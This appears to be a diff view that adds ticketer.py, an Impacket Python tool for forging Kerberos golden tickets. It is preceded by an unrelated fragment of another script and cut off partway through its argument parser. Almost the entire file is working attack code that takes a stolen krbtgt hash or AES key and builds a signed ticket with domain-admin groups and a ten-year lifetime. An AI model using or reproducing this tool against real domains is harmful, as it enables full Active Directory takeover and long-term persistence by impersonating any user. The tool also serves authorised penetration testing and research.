# Start decoding process.
Decoder(p).start()
# Process command-line arguments.
if __name__ == '__main__':
if len(sys.argv) <= 1:
print "Usage: %s <filename>" % sys.argv[0]
sys.exit(1)
main(sys.argv[1])

View File

@@ -0,0 +1,746 @@
#!/usr/bin/env python
# Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC)
# allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the
# groups, extrasids, etc.
# Tickets duration is fixed to 10 years from now (although you can manually change it)
#
# References:
# Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash:
# (http://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it)
# Original implemetation by Benjamin Delpy (@gentilkiwi) in mimikatz
# (https://github.com/gentilkiwi/mimikatz)
#
# Examples:
# ./ticketer.py -nthash <krbtgt nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
#
# will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.
# If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256
# (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as
# baduser.ccache.
#
# ./ticketer.py -nthash <krbtgt nthash> -aesKey <krbtgt AES> -domain-sid <your domain SID> -domain <your domain FQDN>
# -request -user <a valid domain user> -password <valid domain user's password> baduser
#
# will first authenticate against the KDC (using -user/-password) and get a TGT that will be used
# as template for customization. Whatever encryption algorithms used on that ticket will be honored,
# hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved
# as baduser.ccache.
#
# ToDo:
# [ ] Silver tickets still not implemented
# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC
#
import argparse
import datetime
import logging
import random
import string
import sys
from calendar import timegm
from time import strptime
from binascii import unhexlify
from pyasn1.codec.der import encoder, decoder
from impacket import version
from impacket.winregistry import hexdump
from impacket.dcerpc.v5.dtypes import RPC_SID
from impacket.dcerpc.v5.ndr import NDRULONG
from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
from impacket.examples import logger
from impacket.krb5.asn1 import AS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart
from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \
PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \
KERB_NON_KERB_CKSUM_SALT
from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.crypto import _checksum_table, Enctype
from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \
VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO
from impacket.krb5.types import KerberosTime, Principal
from impacket.krb5.kerberosv5 import getKerberosTGT
class TICKETER:
def __init__(self, target, password, domain, options):
self.__password = password
self.__target = target
self.__domain = domain
self.__options = options
@staticmethod
def getFileTime(t):
t *= 10000000
t += 116444736000000000
return t
def createBasicValidationInfo(self):
# 1) KERB_VALIDATION_INFO
kerbdata = KERB_VALIDATION_INFO()
aTime = timegm(datetime.datetime.utcnow().timetuple())
unixTime = self.getFileTime(aTime)
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__target
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 500
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = int(self.__options.user_id)
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain.upper()
kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid)
kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = VALIDATION_INFO()
validationInfo['Data'] = kerbdata
return validationInfo
def createBasicPac(self, kdcRep):
validationInfo = self.createBasicValidationInfo()
pacInfos = {}
pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()
srvCheckSum = PAC_SIGNATURE_DATA()
privCheckSum = PAC_SIGNATURE_DATA()
if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
srvCheckSum['Signature'] = '\x00' * 16
privCheckSum['Signature'] = '\x00' * 16
else:
srvCheckSum['Signature'] = '\x00' * 12
privCheckSum['Signature'] = '\x00' * 12
if len(self.__options.aesKey) == 64:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
else:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()
pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()
clientInfo = PAC_CLIENT_INFO()
clientInfo['Name'] = self.__target.encode('utf-16le')
clientInfo['NameLength'] = len(clientInfo['Name'])
pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()
return pacInfos
def createBasicTicket(self):
if self.__options.request is True:
logging.info('Requesting TGT to target domain to use as basis')
if self.__options.hashes is not None:
lmhash, nthash = self.__options.hashes.split(':')
else:
lmhash = ''
nthash = ''
userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
lmhash, nthash, None,
self.__options.dc_ip)
kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Let's check we have all the neccesary data based on the ciphers used. Boring checks
ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])
encPartCipher = int(kdcRep['enc-part']['etype'])
if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \
self.__options.nthash is None:
logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. '
'Can\'t continue ( or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
self.__options.aesKey is None:
logging.critical(
'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
self.__options.aesKey is not None and len(self.__options.aesKey) > 32:
logging.critical(
'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None:
logging.critical(
'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \
self.__options.aesKey is not None and len(self.__options.aesKey) < 64:
logging.critical(
'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '
'Can\'t continue')
return None, None
kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['cname']['name-string'] = None
kdcRep['cname']['name-string'][0] = self.__target
else:
logging.info('Creating basic skeleton ticket and PAC Infos')
kdcRep = AS_REP()
kdcRep['pvno'] = 5
kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value
if self.__options.nthash is None:
kdcRep['padata'] = None
kdcRep['padata'][0] = None
kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
etype2 = ETYPE_INFO2()
etype2[0] = None
if len(self.__options.aesKey) == 64:
etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
else:
etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target)
encodedEtype2 = encoder.encode(etype2)
kdcRep['padata'][0]['padata-value'] = encodedEtype2
kdcRep['crealm'] = self.__domain.upper()
kdcRep['cname'] = None
kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['cname']['name-string'] = None
kdcRep['cname']['name-string'][0] = self.__target
kdcRep['ticket'] = None
kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value
kdcRep['ticket']['realm'] = self.__domain.upper()
kdcRep['ticket']['sname'] = None
kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['ticket']['sname']['name-string'] = None
kdcRep['ticket']['sname']['name-string'][0] = 'krbtgt'
kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper()
kdcRep['ticket']['enc-part'] = None
kdcRep['ticket']['enc-part']['kvno'] = 2
kdcRep['enc-part'] = None
if self.__options.nthash is None:
if len(self.__options.aesKey) == 64:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
else:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
else:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
kdcRep['enc-part']['kvno'] = 2
kdcRep['enc-part']['cipher'] = None
pacInfos = self.createBasicPac(kdcRep)
return kdcRep, pacInfos
def customizeTicket(self, kdcRep, pacInfos):
logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
encTicketPart = EncTicketPart()
flags = list()
flags.append(TicketFlags.forwardable.value)
flags.append(TicketFlags.proxiable.value)
flags.append(TicketFlags.renewable.value)
flags.append(TicketFlags.initial.value)
flags.append(TicketFlags.pre_authent.value)
encTicketPart['flags'] = encodeFlags(flags)
encTicketPart['key'] = None
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(32)])
else:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
encTicketPart['crealm'] = self.__domain.upper()
encTicketPart['cname'] = None
encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encTicketPart['cname']['name-string'] = None
encTicketPart['cname']['name-string'][0] = self.__target
encTicketPart['transited'] = None
encTicketPart['transited']['tr-type'] = 0
encTicketPart['transited']['contents'] = ''
encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
# Let's extend the ticket's validity a lil bit
ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration))
encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['authorization-data'] = None
encTicketPart['authorization-data'][0] = None
encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
encTicketPart['authorization-data'][0]['ad-data'] = None
# Let's locate the KERB_VALIDATION_INFO and Checksums
if pacInfos.has_key(PAC_LOGON_INFO):
data = pacInfos[PAC_LOGON_INFO]
validationInfo = VALIDATION_INFO()
validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
lenVal = len(validationInfo.getData())
validationInfo.fromStringReferents(data[lenVal:], lenVal)
aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
unixTime = self.getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# Let's adjust username and other data
validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
validationInfo['Data']['EffectiveName'] = self.__target
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
validationInfo['Data']['GroupIds'] = list()
validationInfo['Data']['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
validationInfo['Data']['GroupIds'].append(groupMembership)
# Let's add the extraSid
if self.__options.extra_sid is not None:
if validationInfo['Data']['SidCount'] == 0:
# Let's be sure user's flag specify we have extra sids.
validationInfo['Data']['UserFlags'] |= 0x20
validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
validationInfo['Data']['SidCount'] += 1
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(self.__options.extra_sid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
# And, let's append the magicSid
validationInfo['Data']['ExtraSids'].append(sidRecord)
else:
validationInfo['Data']['ExtraSids'] = NULL
validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
pacInfos[PAC_LOGON_INFO] = validationInfoBlob
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO after making it gold')
validationInfo.dump()
print ('\n')
else:
raise Exception('PAC_LOGON_INFO not found! Aborting')
logging.info('\tPAC_LOGON_INFO')
# Let's now clear the checksums
if pacInfos.has_key(PAC_SERVER_CHECKSUM):
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
serverChecksum['Signature'] = '\x00' * 12
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
serverChecksum['Signature'] = '\x00' * 12
else:
serverChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
else:
raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
if pacInfos.has_key(PAC_PRIVSVR_CHECKSUM):
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksum['Signature'] = '\x00' * 12
if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
privSvrChecksum['Signature'] = '\x00' * 12
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
privSvrChecksum['Signature'] = '\x00' * 12
else:
privSvrChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
else:
raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
if pacInfos.has_key(PAC_CLIENT_INFO_TYPE):
pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
pacClientInfo['ClientId'] = unixTime
pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
else:
raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
logging.info('\tPAC_CLIENT_INFO_TYPE')
logging.info('\tEncTicketPart')
encASRepPart = EncASRepPart()
encASRepPart['key'] = None
encASRepPart['key']['keytype'] = encTicketPart['key']['keytype']
encASRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
encASRepPart['last-req'] = None
encASRepPart['last-req'][0] = None
encASRepPart['last-req'][0]['lr-type'] = 0
encASRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
encASRepPart['nonce'] = 123456789
encASRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
encASRepPart['flags'] = encodeFlags(flags)
encASRepPart['authtime'] = encTicketPart['authtime']
encASRepPart['endtime'] = encTicketPart['endtime']
encASRepPart['starttime'] = encTicketPart['starttime']
encASRepPart['renew-till'] = encTicketPart['renew-till']
encASRepPart['srealm'] = self.__domain.upper()
encASRepPart['sname'] = None
encASRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encASRepPart['sname']['name-string'] = None
encASRepPart['sname']['name-string'][0] = 'krbtgt'
encASRepPart['sname']['name-string'][1] = self.__domain.upper()
logging.info('\tEncAsRepPart')
return encASRepPart, encTicketPart, pacInfos
def signEncryptTicket(self, kdcRep, encASRepPart, encTicketPart, pacInfos):
logging.info('Signing/Encrypting final ticket')
# We changed everything we needed to make us special. Now let's repack and calculate checksums
validationInfoBlob = pacInfos[PAC_LOGON_INFO]
validationInfoAlignment = '\x00' * (((len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob))
pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
pacClientInfoAlignment = '\x00' * (((len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob))
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
serverChecksumBlob = str(pacInfos[PAC_SERVER_CHECKSUM])
serverChecksumAlignment = '\x00' * (((len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob))
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksumBlob = str(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksumAlignment = '\x00' * (((len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) / 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) / 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
# offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str(
privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str(
pacInfos[PAC_CLIENT_INFO_TYPE]) + pacClientInfoAlignment
buffersTail = str(serverChecksumBlob) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = str(pacType)
checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'])
checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']]
if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'])
serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
logging.info('\tPAC_SERVER_CHECKSUM')
privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
logging.info('\tPAC_PRIVSVR_CHECKSUM')
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = None
authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
authorizationData[0]['ad-data'] = str(pacType)
authorizationData = encoder.encode(authorizationData)
encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
if logging.getLogger().level == logging.DEBUG:
logging.debug('Customized EncTicketPart')
print encTicketPart.prettyPrint()
print ('\n')
encodedEncTicketPart = encoder.encode(encTicketPart)
cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
key = Key(cipher.enctype, unhexlify(self.__options.nthash))
else:
raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes TGS session
# key or application session key), encrypted with the
# service key (Section 5.3)
logging.info('\tEncTicketPart')
cipherText = cipher.encrypt(key, 2, str(encodedEncTicketPart), None)
kdcRep['ticket']['enc-part']['cipher'] = cipherText
kdcRep['ticket']['enc-part']['kvno'] = 2
# Lastly.. we have to encrypt the kdcRep['enc-part'] part
# with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
encodedEncASRepPart = encoder.encode(encASRepPart)
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
sessionKey = Key(cipher.enctype, str(encASRepPart['key']['keyvalue']))
logging.info('\tEncASRepPart')
cipherText = cipher.encrypt(sessionKey, 3, str(encodedEncASRepPart), None)
kdcRep['enc-part']['cipher'] = cipherText
kdcRep['enc-part']['etype'] = cipher.enctype
kdcRep['enc-part']['kvno'] = 1
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final Golden Ticket')
print kdcRep.prettyPrint()
print ('\n')
return encoder.encode(kdcRep), cipher, sessionKey
def saveTicket(self, tgt, sessionKey):
logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache'))
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGT(tgt, sessionKey, sessionKey)
ccache.saveFile(self.__target.replace('/','.') + '.ccache')
def run(self):
ticket, adIfRelevant = self.createBasicTicket()
if ticket is not None:
encASRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant)
ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASRepPart, encTicketPart, pacInfos)
self.saveTicket(ticket, sessionKey)
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Creates a Kerberos golden/silver tickets based on "
"user options")
parser.add_argument('target', action='store', help='username or SPN for the newly created ticket (if \'/\' present '
'it is assumed it\'s a SPN and a silver ticket will be created')
parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it '
'changing only the supplied information. It requires specifying -user')
parser.add_argument('-domain', action='store', help='the fully qualified domain name (e.g. contoso.com)')
parser.add_argument('-domain-sid', action='store', help='Domain SID of the target domain the ticker will be '
'generated for')
parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket '
'(128 or 256 bits)')
parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket')
parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of '
'groups user will belong to (default = 513, 512, 520, 518, 519)')
parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be '
'created for (default = 500)')
parser.add_argument('-extra-sid', action="store", help='Optional ExtraSid to be included inside the ticket\'s PAC')
parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires '
'(default = 365*10)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be '
'different from domain/username')
group.add_argument('-password', action="store", help='password for domain/username')
